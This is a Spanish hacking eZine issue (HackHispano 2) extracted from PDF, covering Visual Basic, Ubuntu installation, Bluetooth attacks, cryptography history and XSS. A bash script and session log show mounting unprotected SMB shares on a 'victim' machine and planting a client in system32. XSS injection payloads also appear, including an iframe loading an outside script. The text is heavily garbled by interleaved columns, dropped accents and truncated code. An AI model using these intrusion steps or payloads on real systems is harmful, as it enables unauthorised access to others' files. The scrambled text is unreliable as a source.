Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
Tres meses despus del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano,
nos enorgullece en gran medida la publicacin de esta segunda revista.
Han sido varios meses de trabajo intenso, y debemos primeramente agradecer a los autores de estos
y otros artculos que han llegado hasta nosotros, por su gran afn de colaboracin y ayuda desinteresada,
dando sentido a la palabra comunidad hacker.
Nunca comunidad sigue en expansin y cada ves son mas los usuarios que llegan hasta la misma, y que
esperamos que sigan con nosotros por mucho tiempo.
Deseamos que esta segunda eZine tenga tanta aceptacin y genere tanta expectacin como lo hizo
su predecesora, leda por miles de personas, y publicada en cientos de portales.
Y si os interesaron los artculos de la primera, no os perdis esta, cargada de muchos temas y novedades.
> P ro g ra m a ci n P g. 2
C o m e n z a n d o e n V isu al B a sic
H a c kH isp a no e s u na c o m unid a d lib re d o nd e tod o el
> P a so a P a so P g. 7 m u nd o e s bie nve nid o , d o nd e na die e s e xtra nje ro, d o nd e tod o s
b usc a m o s algo y d o nd e to d o s lo o fre ce m o s.
Manual de Achilles
> Jue go s P g. 2 0
Transforma tu DS en herramienta de trabajo.
www.HackHispano.com
> C ib era ctivism o P g. 2 3
Evolucin de la criptografa. Panorama actual
> H a c kin g P g. 2 9
XSS , el enemigo silencioso
>Windows
Introduccin a la API de Windows (II) P g. 3 4
Pag 2 de 44 HH eZine
Bienvenidos al maravilloso
En cada artculo que leis tendris una breve
mundo de la programacin descripcin terica necesaria para entender
que es lo que estamos haciendo.
1. Introduccin: Conozcmonos
2. La herramienta: Visual Basic
Antes de empezar, me vais a permitir que me
presente. Soy Pedro del Valle, y trabajo como Seguro que mas de uno se estar preguntando
programador profesional. La intencin de este ahora mismo el porque de utilizar
curso es iniciar a aquellas personas que Visual Basic, si en todos los rincones de
sienten la curiosidad de saber como funciona Internet dicen que C/C++ es muchsimo
cualquier programa, aplicacin o software, ya mejor. C/C++ es un lenguaje de programacin
que todo lo citado es creado por estupendo, muy bueno, te permite rascar el
programadores y existen gracias a la PC a su nivel ms bajo, trabajando con
programacin. Durante los diferentes cursos interrupciones si hace falta.
que se impartirn en la revista vamos a Pero a su vez es engorroso, muy lineal,
intentar dejar un poco a parte la teora y anticuado y cada vez con menos salida
ceirnos a la prctica. Seguramente te estars profesional, y es esta ltima razn la que me
preguntando, por qu?, ha hecho decantar por VB 6.0, ya que para
Pues porque la teora, todo y que es la base de aquellos que os queris dedicar
una buena programacin, no est incluida en profesionalmente a esto, tarde o temprano os
la finalidad real de un curso como el que este daris cuenta de que los entornos de
pretende ser. Microsoft, Sun y en general los visuales o la
El curso intentar que tu, desde tu PC, puedas programacin web son los que actualmente
desarrollar las mismas aplicaciones que desde tienen mas salida en el mercado.
aqu vamos a crear, y que cuando obtengas el Despus de esta charla, dejad que os diga una
fruto de tu trabajo, hallas adquirido la cosa: no dejis de estudiar
habilidad de modificarlas o crear otras que se C/C++, ya que yo lo considero muy
adapten importante como lenguaje base.
a tus necesidades sin la ayuda de nadie Otra razn por la que utilizamos VB es la
(exceptuando las MSDN, claro). amigabilidad del entorno de desarrollo. Si
Por ltimo comentar que este curso de hicisemos una pequea agenda en C, pocos
programacin estar orientado a entornos la acabaran correctamente, mientras que en
visuales no relacionados con web, aunque si VB, ya sea por el abanico de opciones en sus
se vern conexiones por puertos, pero cada mens o por la claridad de los mas que
cosa a su tiempo, y como algunos ya sabrn, posibles errores producidos durante en tiempo
lo primero es el hello de ejecucin, seguro que todos la lograramos
world. terminar.
Pag 3 de 44 HH eZine
es que actualices los gestores de BBDD para
3. Lo necesario: Empieza la prctica futuras aplicaciones, para ello debes ir
a la pgina de Microsoft y bajar los instalables
Como ya he comentado no voy a Microsoft Jet SP3 y MDAC 2.6 o
entretenerme en la teora de la 2.7
programacin, solo quiero que sepis que Para encontrar estos productos debemos ir a
VB (desde ahora Visual Basic ser VB) es http://www.microsoft.es, hacemos
un lenguaje de programacin orientado a click en rea de descarga (vase Fig. 1)
objetos (segn unos) o/y a eventos (segn
otros). Bajo mi punto de vista, VB est
orientado tanto a eventos como a objetos,
pero realmente no nos importa, aqu cada
uno dar la versatilidad necesaria al
compilador.
Lo primero que necesitis es el VB 6.0, que
podris encontrar en el paquete
Visual Studio 6.0
Es mi deber indicar que VB no es freeware,
sino que es un producto de
Microsoft el cual tiene una licencia que
tienes que pagar antes de poder utilizarlo, ya
sea en enseanza o desarrollo.
La instalacin es bastante sencilla, si solo Nos aparecern dos combos de seleccin.
tenis el CD de VB, estamos ante un clsico Desplegamos el primero y escogemos
de las instalaciones: Siguiente, siguiente, Data Access Components (vase Fig. 2),
acepto el contrato, siguiente....
Si por el contrario tenemos los CD del
Visual Studio, podemos hacer dos cosas,
elegir instalacin personalizada y
seleccionar solo el check de VB, o instalar
todas las herramientas que estn en el CD
(recomendado).
Ya est instalado?, bien, pues ahora
podramos instalar el SP (Service Pack) del
VB, que encontrars en la pgina de
http://www.microsoft.com. Si no lo instalas,
podrs trabajar igualmente, pero es
recomendable. Lo que si es imprescindible
Hacemos click en el botn go,nos aparecer
Pag 4 de 44 HH eZine
una pgina con varios componentes para nos permitir continuar hasta que elijamos una
instalar, nosotros necesitamos exactamente opcin. (vase FIG4)
el Jet 4.0 Service Pack 3 Update y el
MDAC 2.6 Service Pack 2 - Spanish. (El
curso es algo antiguo, actualmente podemos
instalar el MDAC 2.8)
Pag 5 de 44 HH eZine
Qu es lo que ha pasado?, pues que hemos
accedido al evento principal del objeto
formulario.
Un evento es una accin, por ejemplo, hacer
click en un botn es conocido como
el evento button_click. En este caso, el evento
principal de un formulario es el form_load. Y
que es el form_load ?, muy fcil, es el evento que
se activa cuando ejecutamos el programa por
primera vez, es decir, que cuando se inicie la
aplicacin que estamos creando se va a accionar
el form_load. Que conlleva esto?, pues que todo
Bien, en esta sesin no explicaremos nada
el cdigo que escribamos entre las dos lneas
sobre los diferentes objetos o sobre el cuadro
que nos han aparecido anteriormente se va a
de propiedades, ni tan solo explicaremos los
ejecutar al iniciar el programa (al
mens del Visual Basic, sino que iremos
ejecutarse el form_load), y as con todos los
directos al grano y crearemos un programa
eventos.
que al ejecutarse imprima el mensaje hello
Una vez entendida esta teora, vamos a ponerlo
world por pantalla (recordad que siempre
en prctica. Para mostrar un mensaje por pantalla
debis curiosear vosotros mismos).
(la clsica ventana con el botn aceptar)
En futuros artculos explicaremos todo lo
utilizaremos un objeto que viene por defecto en
que hoy nos dejamos pendientes, no os
Windows llamado MsgBox.
preocupis por eso.
Escribiremos entre las dos lneas, es decir, dentro
Vale, supongo que estis listos, haced doble
del evento load (fijaos que pone Form_Load() )
click sobre el formulario. Inmediatamente os
la siguiente lnea:
tendra que aparecer un editor de texto con
MsgBox Hello world
dos lneas de cdigo escritas, y el cursor
Muy probablemente, al escribir MsgBox y pulsar
entre ellas. (vase FIG6)
la barra espaciadora os ha aparecido una lnea
amarilla con informacin. Esta informacin es
una ayuda para el programador, y nos est
indicando que parmetros podemos pasarle al
MsgBox (vase FIG7)
Pag 6 de 44 HH eZine
hacer click sobre la flecha azul que hay en el
men superior, la segunda es ir al men
Ejecutar e Iniciar, y la ltima (la mas
utilizada) es presionar directamente la tecla
F5 o ctr + F5 para ser mas cautelosos (si
solo pulsamos F5 no se van a tener en cuanta
todos los errores).
Si al hacer esto, os aparece una ventana con
un botn aceptar y el mensaje Hello
world (vase FIG8), Lo habis hecho bien, si
os da cualquier error, fijaos en la fig9, ya que
ese es el cdigo de vuestro programa
Pag 7 de 44 HH eZine
el que est por defecto en Achilles, aunque se
MANUAL DE ACHILLES puede cambiar.
Windows:
Pag 9 de 44 HH eZine
INSTALACION Y CONFIGURACION
DE UBUNTU Si tenis dudas, los que tenis un ordenador
personal comn debs descargar la imagen
Nunca te has decidido a instalar un linux? correspondiente a la arquitectura "Intel x86".
Te has decidido pero no sabes por dnde
empezar? Te han dicho algo como "puedes Quote:
empezar con ubuntu? PC (Intel x86) desktop CD
For almost all PCs. This includes most
Si la respuesta a alguna de estas preguntas es machines with Intel/AMD/etc type
afirmativa quiz saques provecho de este processors and almost all computers that run
artculo sobre cmo obtener e instalar la Microsoft Windows. Choose this if you are
distribucin de GNU/linux ubuntu Feisty at all unsure.
Fawn.
Pedir cd va web
https://shipit.ubuntu.com/
Otras posibilidades
Otras posibilidades para la adquisicin de la
distribucin lo podis ver en
http://www.ubuntu.com/getubuntu
Pag 10 de 44 HH eZine
Arrancar la livecd
Pag 11 de 44 HH eZine
Hay muchas formas distintas de particionar un
disco. A menudo, mientras ms meticuloso o
paranoico es un administrador ms particiones
tiene. En servidores en produccin es casi
indispensable montar las carpetas /var y /usr en
particiones distintas, para que no se mezclen
permisos y/o configuraciones. Pero como
presuponemos que es una instalacin cuya
finalidad es principalmente la de habituarnos al
uso de un GNU/linux obviaremos estos
menesteres y nos conformaremos con lo mnimo
indispensable para un funcionamiento aceptable.
Esto es, deberemos crear una particin nueva
para la raz del sistema y otra para memoria de
Spain/Spain... intercambio o swap.
Una vez hecho esto pasamos a lo que todos Quien tenga claro cmo quiere reestructurar su
los novatos consideran el peor trago por el disco duro puede obviar esta opcin y pasar
que han de pasar en la instalacin de directamente a la edicin manual de la tabla de
cualquier sistema operativo alternativo: particiones, con lo que podr elegir el espacio
exacto que restar a la particin original y por
El particionado. tanto el que le piensa dedicar al nuevo sistema.
Pag 12 de 44 HH eZine
Mi costumbre es la de separar todos los para continuar, mostrando la correspondiente
datos independientes del sistema operativo advertencia. Evidentemente
en una particin distinta. Aunque mis
actuales andaduras vayan por otros tendremos que aceptar para poder proseguir con
derroteros he slido usar FAT32 como el particionado y, por tanto, con la instalacin.
sistema de ficheros para esta particin de Ojo! Siempre que se manipula la tabla de
datos por una sencilla razn, es accesible particiones es ALTAMENTE
tanto por sistemas propietarios como por RECOMENDABLE haber hecho una copia de
sistemas libres. respaldo del disco, porque es una tarea
potencialmente peligrosa para la integridad de
A continuacin explico esta segunda opcin, dichos datos.
la de editar manualmente la tabla de
particiones. Ya hemos dicho que la primera Aceptamos el riesgo y nos muestra el nuevo
particin est definida y es funcional. Con aspecto de nuestro disco tras los cambios
anterioridad a las modificaciones que efectuados:
efectuaremos sta ocupa la totalidad del
espacio del disco. Como estamos en el ao /dev/sda
2007 supondremos que tena el monopolio /dev/sda1 NTFS /media/sda 60003 Mb
sobre un maravilloso disco de 250Gb, con lo free space 190991 Mb
que podemos hacer la reparticin de la
siguiente manera: Con eso tenemos unos gigas de los que disponer.
Pulsamos en "free space", luego en "New
1 Particin primaria para otro sistema Partition", para proceder a definir la particin
operativo (por ejemplo NTFS) de 60Gb que destinaremos a la raz del sistema:
2 Particin primaria para la raz de nuestro
ubuntu (para ella elijo EXT3) de otros 60Gb Type for the new partition: Elegimos "primary"
3 Particin primaria para la memoria de New size in megabytes: 60000
intercambio de ubuntu (SWAP) de 2Gb Location for the new partition: beginning
4 Particin lgica para el almacenamiento de Use as: ext3
datos (FAT32) de 128Gb Mount point: (este campo lo dejamos en blanco)
Despus de esto nos pedir confirmacin Type for the new partition: "logical"
New size: "128988"
Use as: fat32
Pag 13 de 44 HH eZine
La particin en ext3 se montar en "/" y la
fat32 en "/dos" por ejemplo. Pulsando
"adelante" proseguimos hasta la creacin de
un usuario regular, para lo que deberemos
proporcionar el nombre y el password. Una
vez elegidos ambos pulsamos en "install". Se
copiarn los archivos necesarios, detectar el
resto de sistemas de nuestro equipo y
elaborar el men del gestor de arranque. Nos
avisar cuando termine y ya podremos
disfrutar de las ventajas de un PC con
arranque dual. Espero les sirva y buen
provecho!
Autor: j8k6f4v9j
Pag 14 de 44 HH eZine
SEGURIDAD EN BLUETOOTH
Los mensajes solo se limitan a 248 caracteres y
Hoy en da, muchos mviles utilizan hay jug con ese espacio.
bluethoot y cada vez mas mviles lo
incluyen. Como evitarlo?
Se esta imponiendo como estndar debido a
su bajo costo, buena velocidad de Hacerlo es muy fcil, evitarlo tambin, solo hay
transmisin de datos, buen alcance y por que mantener el bluethoot en estado apagado-
ultimo nadie nos cobra por pasarse archivos invisible, adems esto sirve para que la batera
por bluethoot. dure mas ya que el bluethoot consume mucha
energa.
Hoy por hoy, muchos telfonos tienen
bluethoot, y probablemente algunos cuantos Bluesnarfing
dueos no tengan idea de esto y otros tanto
dejen la configuracin de defecto, esto El Bluesnarf es algo ms complicado de hacer;
implica dos grandes peligros mucho ms daino y, aunque ya fue reconocido
Bluejacking y Bluesnarfing. por Nokia y Sony Ericsson como un problema de
seguridad, est en proceso de "arreglo" con el
Bluejacking nuevo soft de Bluetooth en el firmware del los
celulares.
Es una simple forma de mandar mensajes
con textos personalizados El problema en este caso es que cuando un
a cualquier dispositivo Bluetooth sin pedir telfono est en modo "Visible" (o sea que otros
permiso, que podra derivar en spam por dispositivos bluetooth lo pueden detectar),
bluethoot. en algunos es posible conectarse al dispositivo
sin que el usuario se entere, y tener acceso a
Como hacerlo? datos del mismo (ej.: Agenda, Calendario,etc.)
Pag 15 de 44 HH eZine
Conclusin final
Pag 16 de 44 HH eZine
#
BIOSKANIA, DESDE SAMBA CON if test -z $1
AMOR then
echo "Esto funciona as: bioskania <ip>"
Bueno esta vez os mando algo mas cortito, else
pero eficaz, para linux. Se trata de un script ip=$1
de bash, que nos ayuda a conectar a nmblookup="/usr/bin/nmblookup"
mquinas remotas por netbios, siempre y smbclient="/usr/bin/smbclient"
cuando no haya password de por medio. Se name=$($nmblookup -d1 -A $ip | grep '<00>' |
trata de usar los paquetes de samba-common head -1 | awk '{print $1}')
y smbclient, todo junto en un mismo if [ "$name" != "" ]
script. Este se edita en vim o en el editor que then
se use... y se guarda en la ruta de ejecutables echo "El nombre netbios para $ip es $name"
path. En este caso su nombre es bioskania, echo "Los recursos compartidos por $ip son:"
podeis ponerle el que considereis oportuno. i=0
for rec in $($smbclient -N -L $name -I $ip | grep
Veamos el script: Disk | awk '{print $1}')
------------------------------------------------------ do
#!/bin/sh recursos[$i]="$rec"
# Un scanner de kania echo "$i) ${recursos[$i]}"
# Obtiene el nombre netbios y los recursos let "i = $i +1"
compartidos de una ip, done
# y si estos existen, monta el recurso if [ "${recursos[0]}" != "" ]
elegido. then
# eleccion=999
# Requiere tener instalados los paquetes let "k=${#recursos[@]} -1"
samba-common y smbclient. while [ "$eleccion" -gt $k ]
# do
# Se puede usar,modificar y distribuir echo "Que recurso deseas montar?"
libremente. read eleccion
# (c) kania 2007 echo "has elegido montar
# //$name/${recursos[$eleccion]}"
#################################### $smbclient //$name/${recursos[$eleccion]} -d0 -
#################################### N -I $ip
# echo ""
# TODO: De momento slo funciona si la echo ""
vctima es tan madre que no ha echo "Has sido una nena mala.
# puesto contraseas a los recursos Muuuuuuuuuuuuuuuuacks"
compartidos. done
# else
#################################### echo "No hay recursos compartidos"
#################################### fi
Pag 17 de 44 HH eZine
else
echo "No est disponible el nombre netbios Podemos, listar, cambiar, renombrar, borrar,
para $ip, puerto cerrado?" ejecutar, etc, etc...
fi
fi Ejecutamos el script (ojo que pongo mi ip para
------------------------------------------------------ evitar malentendidos :P,
----------------- por supuesto, las pruebas no se han hecho sobre
mi ip, por si a algn
Cmo funciona? listo se le ocurre, avisar que tengo el filtro muy
fino)
Bien, veamos sus commandos
[kaniaserver~]# bioskania 80.32.232.60
0) printer
1) C
2) D
smb: \>
smb: \> ls
Pag 18 de 44 HH eZine
FOUND.000 DHS 0 Wed copiaeurowin D 0 Thu
Jun 25 09:27:06 2003 May 22 09:34:18 2003
NTDETECT.COM AHSR
47580 Tue Sep 10 12:00:00 2002 --- Elegimos donde queremos ir, en este caso
hemos subido un cliente a:
boot.ini HS 194 Wed May \c\WINDOWS\system32\Systemhk,
21 18:10:30 2003 cambiamos directorio, ya sabeis:
Pag 20 de 44 HH eZine
Nintendo DS. Como transformar tu incorporada, conectarse a la Red (la
consola en una herramienta de conflagracin es igual que cualquier juego Wi-Fi
DS) y comenzar a navegar con
trabajo las dos pantallas. En la tctil
dispondremos de toda la web y
podremos usar nuestro lpiz tctil como el ratn
Cada vez ms, la Nintendo DS se est
comn del ordenador. Cuando queramos escribir
convirtiendo en una herramienta de trabajo.
algo en algn cuadro de texto, la pantallita se
Para mi, lo ms cmodo que ofrece en el
convertir en un teclado. La pantalla superior nos
campo de trabajo, es lo siguiente: Navegar
ofrecer una vista ampliada de la web. Ahora
por internet (lo que nos abre muchas
bien, qu podemos hacer con un navegador?
posibilidades al poder acceder a todas las
Pensaris que estamos limitados a conectarnos al
funciones de la red) y la posibilidad de
correo, entrar en los foros, viciarnos en
instalar un sistema operativo. Para
minijuegos etc. Adems de todo esto, podemos
comprobarlo podis echar una ojeada a este
usar algunas funciones que tenemos en nuestra
vdeo donde aparece un abanico de las
PC habitual. Buscando en google podremos
utilidades que le han sacado los japoneses:
encontrar un montn, pero yo os recomiendo esta
http://www.youtube.com/watch?v=ShfNp08
fantstica herramienta de office:
2278.
Google Docs: Es una herramienta de office de
google. Entramos en http://docs.google.com y
En este artculo vis a aprender lo
entramos con nuestro login habitual. Si no
siguiente:
disponemos de una cuenta, creamos una
- Utilizacin y utilidades de Opera DS.
(ATENCIN: podemos crear una cuenta de
- Descarga e introduccin a Mini vMac
google o una de gmail. Si hacemos la de gmail,
DS (MacOS para DS).
tambin dispondremos de una de google con el
mismo pass, pero viceversa no funciona. Para
Opera Ds crear una cuenta de gmail, entramos en
http://www.gmail.com y para la de google en la
Estamos ante uno de los mejores y misma pagina que docs). Una vez dentro,
completsimos navegador de internet, esta podremos crear un nuevo documento de texto o
vez para la Nintendo DS. Gracias a este una hoja de clculo.
software, podemos navegar por Internet
desde nuestra porttil. El navegador se Primero, vamos a experimentar con los
vende como un cartucho de la consola. documentos de texto. A la derecha,
Simplemente tendris que insertarlo en la tenemos el botn desplegable "Archivo",
misma, que tiene tecnologa Wi-Fi
Pag 21 de 44 HH eZine
aqu tenemos varias posibilidades como segn la extensin.
guardarlo en algn formato, contar nmero
de palabras etc. Al lado, est el botn Y como ejemplo de todo ello, quiero aadir que
"Editar", es el que se abre por defecto y el este artculo est escrito en google docs. Y no
que usamos principalmente para la edicin olvidis que tenis un montn de funciones de
de texto. Despus, nos encontramos con google en
"Insertar". En ste, como bien dice su http://www.hackhispano.com/foro/showthread.ph
nombre, podremos aadir imgenes, p?t=21750.
comentarios, URLs etc. Y para terminar
"Revisiones", que tambin est bastante
claro. Mini vMac DS
Luego tenemos unos botones simples:
Editar HTML, Guardar, Guardar y cerrar, Veamos, navegar por internet est muy bien,
Descartar cambios, Vista previa, Imprimir y pero nos faltan algunas posibilidades que esa
Correo electrnico (todos stos se entienden gigantesca red no nos permite, al menos por
bien). Luego encontramos Colaborar, que ahora. Para eso estn los sistemas operativos.
permite escribir o leer el texto a otros Esta vez veremos al exitoso MacOS en accin, y
usuarios de google. Publicar, con esta puede que en el futuro aprendamos a instalar
opcin podremos ofrecer nuestro texto a linux.
todos los lectores con una URL que nos
asignarn. Y por ltimo, abajo del todo, Para empezar, necesitaremos algn cartucho de
podemos revisar la ortografa con el botn memoria para insertar el archivo del SO, yo os
resaltado en amarillo. recomiendo el EzFlash (videotutorial:
http://www.teknoconsolas.info/download.php?id
Las hojas de calculo son similares, =151). Su funcionamiento es sencillo, solamente
slo que tenemos los botones insertad el cartucho con la tarjeta micro SD
"Ordenar", "Frmulas" y "Debates". insertada y elegid el archivo que tenis que
Ordenar nos sirve para colocar las ejecutar.
casillas por orden de A-Z o Z-A. Una vez tengamos el cartucho de memoria,
Frmulas, para definir frmulas insertamos el emulador dentro y ste nos
que se usarn en las casillas. En permitir ejecutar el gran software MacOS.
cuanto a Debates, estar pronto Descarga del emulador en:
disponible. http://lazyone.drunkencoders.com/mini%20vmac
.zip descarga del sistema:
Adems, podemos subir nuestros http://download.info.apple.com/Apple_Support_
propios archivos. Cuando estamos en Area/Apple_Software_Updates/English-
la pagina principal le damos a subir y North_American/Macintosh/System/Older_Syste
elegimos el documento de texto o la m/System_6.0.x/). Una vez que tengamos todo
hoja de calculo que queramos subir puesto en su sitio, lo ejecutamos y a salsear.
Pag 22 de 44 HH eZine
excusa: que si no tenis ordenador, que si el
ciber est cerrado, Ahora, con la consola a
todas partes! (Y puede que juegues un ratito para
descansar. Pero atencin, pone ratito!)
Pag 23 de 44 HH eZine
Evolucin de la criptografa.
Panorama actual. para garantizar que un archivo no a sido
modificado.
En este artculo voy a tratar de la
criptografa a lo largo de la historia y el La informacin original que debe protegerse se
panorama actual, centrndome en los tipos denomina texto en claro. La informacin
actuales y algunos algoritmos, pero sin protegida en formato de texto ilegible es lo que
olvidarme de dar unas nociones bsicas de se denomina texto cifrado o criptograma. El
para que se utiliza proceso de proteger el mensaje se denomina
cifrar o encriptar. El proceso desproteger el
mensaje se denomina descifrar o desencriptar.
Que es la criptografa El mtodo especifico utilizado en el proceso de
cifrado y descifrado se denomina algoritmo de
Claro que si empiezo a hablaros de la cifrado o cifra. La clave es la informacin
criptografa y no os explico que es pues no secreta usada durante el proceso de cifrar para
os enterareis de nada. Pero en casi todos los hacer generar el criptograma, y necesaria para
sitios os pondrn algo como esto: obtener el texto en claro a partir del criptograma.
La criptografa (del griego kryptos, Ejemplo del algoritmo de 1 tabla y cifrado por
"ocultar", y grafos, "escribir", literalmente intercambio directo para explicar los diversos
"escritura oculta") es el arte o ciencia de conceptos:
cifrar y descifrar informacin utilizando A B C D E FG H I J K L M N O P Q R S T U
tcnicas matemticas que hagan posible el V W X Y Z (Tabla de texto en claro)
intercambio de mensajes de manera que HIJABCXYZGKLQRSMNEFO
slo puedan ser ledos por las personas a W D P T U V (Esta es la clave)
quienes van dirigidos. El algoritmo para cifrar es que sustituimos los
caracteres del texto en claro por sus equivalentes
Que no dudo que el prrafo anterior no sea de la clave (A por H o V por D).
correcto, que lo es, pero no totalmente Pero pasemos a cifrar un texto, en concreto
correcto, ni lo fue nunca, porque por EZINE. El procedimiento es simple, buscamos
ejemplo los mtodos de tabla (los ms cada letra su correspondiente de la tabla clave y
antiguos entre los que se cuenta el mtodo ya esta.
Cesar) no se basan en tcnicas matemticas, E -> B
eran tcnicas simples de cambiar los Z -> V
caracteres de una tabla por el equivalente de I -> Z
otra tabla. En cambio hoy en da, las actual N -> R
criptografa se basa en tcnicas matemticas, El texto cifrado sera: BVZRB
pero en cambio, ya no solo se usa la El proceso de descifrado sera el contrario y nos
criptografa para proteger mensajes, sino que volvera a dar EZINE. En este cas parece que la
se utiliza para otras finalidades, por ejemplo proteccin del texto depende de lo largas que
sean las tablas clave, en nuestro ejemplo hay 27!
Pag 24 de 44 HH eZine
-1 posibles claves (se resta una porque una texto ,es otra, y esto solo sirve como ejemplo.
de esas posibilidades es la cadena de arriba).
Es un mtodo sencillo y en teora igualmente Ahora que ya hemos visto un ejemplo de
sencillo de romper (conseguir obtener el criptografa y algunos de los trminos utilizados,
texto en claro a partir del criptograma sin vamos a proceder a decir para que sirve la
utilizar la clave). Y es que este mtodo no criptografa:
tiene en cuenta un pequeo detalle, en los -Su principal funcin (tanto histrica como en
lenguajes humanos no todas las letras nuestros das) es la de garantizar el secreto en la
aparecen con la misma posibilidad, por comunicacin entre dos entidades.
ejemplo, la letras que ms aparece en -Su segunda gran funcin es la asegurar que la
espaol es la letra e incluso algunos informacin no ha sido adulterada en el camino.
autores dicen que aparecen ms letras e en En cristiano, que nadie la modifico durante la
un texto que espacios por otro lado comunicacin. Una utilizacin accidental de esta
tambin es conveniente cifrar los espacios, funcin es ser usada como funcin hash.
sino se ofrecen muchas pistas a quien intente -Otra gran funcin es la de garantizar que el
descifrar el texto. Y aun para fastidiarla ms, remitente es quien dice ser.
cuanto ms largo y mejor redactado est ms -Una variante de sus funciones ms en boga
sencillo ser de romper, ya que palabras actualmente y que es una modificacin de la
muy comunes en casi todos los idiomas, por actual es que es usada en la firma electrnica (o
ejemplo, en ingls sin lugar a dudas the, firma digital), su finalidad es asociar un emisor a
en espaol no hay una que destaque tanto, un mensaje, para evitar el repudio. En cristiano,
pero si muchas que destaquen como pueden solo tal entidad puede emitir este mensaje, por lo
ser la, lo, a, en, de. El gran problema es cual esa entidad no puede negar que el mensaje
que si te centras en esas palabras consigues es suyo.
estructurar el texto y te resultara ms
sencillo sacar algunas palabras por el La criptografa en la Historia
contexto, y a partir de ah ya tendras echo
todo. Ahora que ya sabemos de forma superficial que
A pesar de lo anterior, en la prctica hay es la criptografa pasaremos a meternos en faena,
formas de que de complicarles la vida a la criptografa en la Historia. Y ya empezamos
quien intente romper tu texto, algunas tan con problemas, ya que aunque en casi todos los
simples como eliminar las partculas textos se empieza siempre con los griegos, por
mencionadas antes, usando un lenguaje tipo las definiciones y funciones comentadas
telegrfico. Otras es seleccionar las palabras anteriormente, tendramos que realizar un
que vas a cifrar intentando minimizar un comienzo distinto, en donde ya no seran los
potencial ataque por aparicin (en espaol lo griegos los primeros acerca de los cuales
mejor es intentar no escribir palabras que tenemos constancia de que usaban mtodos
lleven la letra e e intentar que aparezcan criptogrficos. Mucho antes (al menos unos 1000
muchas u y especialmente o). Pero aos antes) en Mesopotamia se utilizaban
bueno, lo dejo aqu que la finalidad de este cdigos secretos para ocultar mensajes. En
Egipto parece ser que tambin tenan sus propias
Pag 25 de 44 HH eZine
tcnicas aunque la de estos era ms del estilo el holands Auguste Kerckhoffs y la del prusiano
esteganografa (no se considera que sea un Friedrich Kasiski.
tipo de criptografa).
El gran avance del siglo XX fue utilizar
Despus del apunte anterior pasaremos a los maquinas de clculo y otro serie de ingenios
griegos y romanos. Tampoco es que haya mecnicos en la criptografa. Sin duda la ms
mucho que decir, lo normal es comentar que famosa mquina criptogrfica fue Enigma, usada
Polibio (un historiador griego) dejo masivamente durante la primera mitad del siglo
constancia de la utilizacin de la criptografa XX y decisiva durante los prolegmenos y aos
(un sistema de sustitucin basado en la de la segunda Guerra Mundial. Enigma era una
posicin de las letras en una tabla). Aunque mquina de rotores que automatizaba
los griegos sabemos que tenias ms considerablemente los clculos que era necesario
sistemas, el otro ms conocido fue la escitala realizar para las operaciones de cifrado y
espartana, un mtodo de transposicin descifrado de mensajes. La gran importancia de
basado en un cilindro que serva como clave enigma fue que ella puede considerarse la madre
en el que se enrollaba el mensaje para poder de la actual criptografa, ya que demostr que las
cifrar y descifrar. En cuanto a los romanos, maquinas pueden cifrar y descifrar un mensaje en
lo ms destacable es que utilizaron la tcnica un tiempo impensable incluso para los mayores
Cesar tanto para fines militares como civiles genios de la humanidad, pero no solo eso, debido
(algo que no se repetira de nuevo hasta la a lo anterior desde entonces se buscan
poca actual de forma masiva), era mtodo incansablemente nuevas cifras y se estudian
simple de sustitucin. nuevas tcnicas de criptoanlisis, incluso influyo
en las matemticas, ya que campos que hasta
La situacin sigue as hasta Leon Battista entonces se consideraban secundarios (como el
Alberti en el 1465 inventa un sistema de estudio de la dispersin de los nmeros,
sustitucin poli alfabtica. Blaise de especialmente los primos) pasaron de nuevo al
Vigenere escribi un tratado de escritura primer plano.
secreta en el siglo XVI y diseo un
algoritmo que aun se conserva. Y partir de Sin duda la figura ms importante en el
este siglo la criptografa empieza a ser desarrollo de la criptografa despus de la
utilizada de forma masiva por las segunda guerra mundial es Claude Shannon. Otro
monarquas europeas, entre ellos hay que hito importante es la creacin del primer
citar al que usaban los ejrcitos espaoles de algoritmo estndar de cifrado, el DES, a
Felipe II, en su poca fue inexpugnable, mediados de los aos 70. Aun as, sin duda la
aunque finalmente un matemtico del rey mayor innovacin del siglo XX fueron las cifras
francs Eduardo IV logro criptoanalizarlo. asimtricas (GP, firma digital).
RIPEMD-160: Es un algoritmo del resumen Esta ha sido una visin muy rpida de
del mensaje de 160 bits (y funcin Criptografa (que es, para que se utiliza), su
criptogrfica de hash) desarrollado en papel en la Historia y las tcnicas criptogrficas
Europa. Es poco usado aunque es un actuales (tipos) y algunos algoritmos
algoritmo abierto. ampliamente utilizados. Es solo una
introduccin, por lo que no descarto que para un
Diffie-Hellman: Permite el intercambio prximo nmero haya una versin ms extendida
secreto de claves entre dos partes que no han y con ejemplos, o el desarrollo prctico de un
tenido contacto previo, utilizando un canal sistema criptogrfico. Bueno a llegado el
inseguro, y de manera annima (sin momento de la despedida por hoy.
autentificar). Se emplea generalmente como
medio para acordar claves simtricas que Un Saludo
sern empleadas para el cifrado de una
sesin. Siendo no autenticado, sin embargo Autor: Gondar_f
provee las bases para varios protocolos
autenticados. Su seguridad radica en la
extrema dificultad de calcular logaritmos
discretos en un campo finito, o por lo menos
en teora. Una de sus versiones ms
conocidas es ElGamal para negociacin de
claves.
inyectar cdigos en sitios web es solo una de <a hret="javascript :alert ( " ; xss & quot ; )"> Clickme ! <>/a
las muchas posibilidades dir en este tutorial
tambin se puede incluir cdigos de enlace y En las situaciones en las que puedas usar
efectos onmouseover .Miraremos una comillas dobles o simples juntas es posible
pequea coleccin y amplia variedad de cambiar estas comillas en el cdigo javascript
lugares y tcnicas para incluir cdigo .Todo con sus secuencias de escape
no funciona correctamente eso depende de
nuestro navegador ya que algunas tcnicas <body onload=alert ( " vulnerable " ) >
Pag 31 de 44 HH eZine
Esta construccin nos permite incluir cdigo Creacin de un cdigo vulnerable
script en una etiqueta <body>que se ejecute
durante el evento onload .El onload ocurre
cada vez que el navegador analiza el cdigo
de manera que el cdigo siempre se
ejecutara en una situacin vulnerable .Esto
se puede utilizar en situaciones en las que
las entrada de un usuario determina el
comportamiento de un sitio web
manipulando lo parmetros del cuerpo del
sitio web.
<inframe src=http://www.xsite.com/xscript.html>
Pag 32 de 44 HH eZine
ahora intenta introducir en el rea de texto usuario .despus incluye el contenido de
<script>alerta("vulnerable");</script> estas variables dentro de una cadena y
una vez que hayas enviado el formulario repite toda la cadena dentro del sitio web.
veras que te aparece una ventana emergente mecanismos similares pueden encontrarse en una
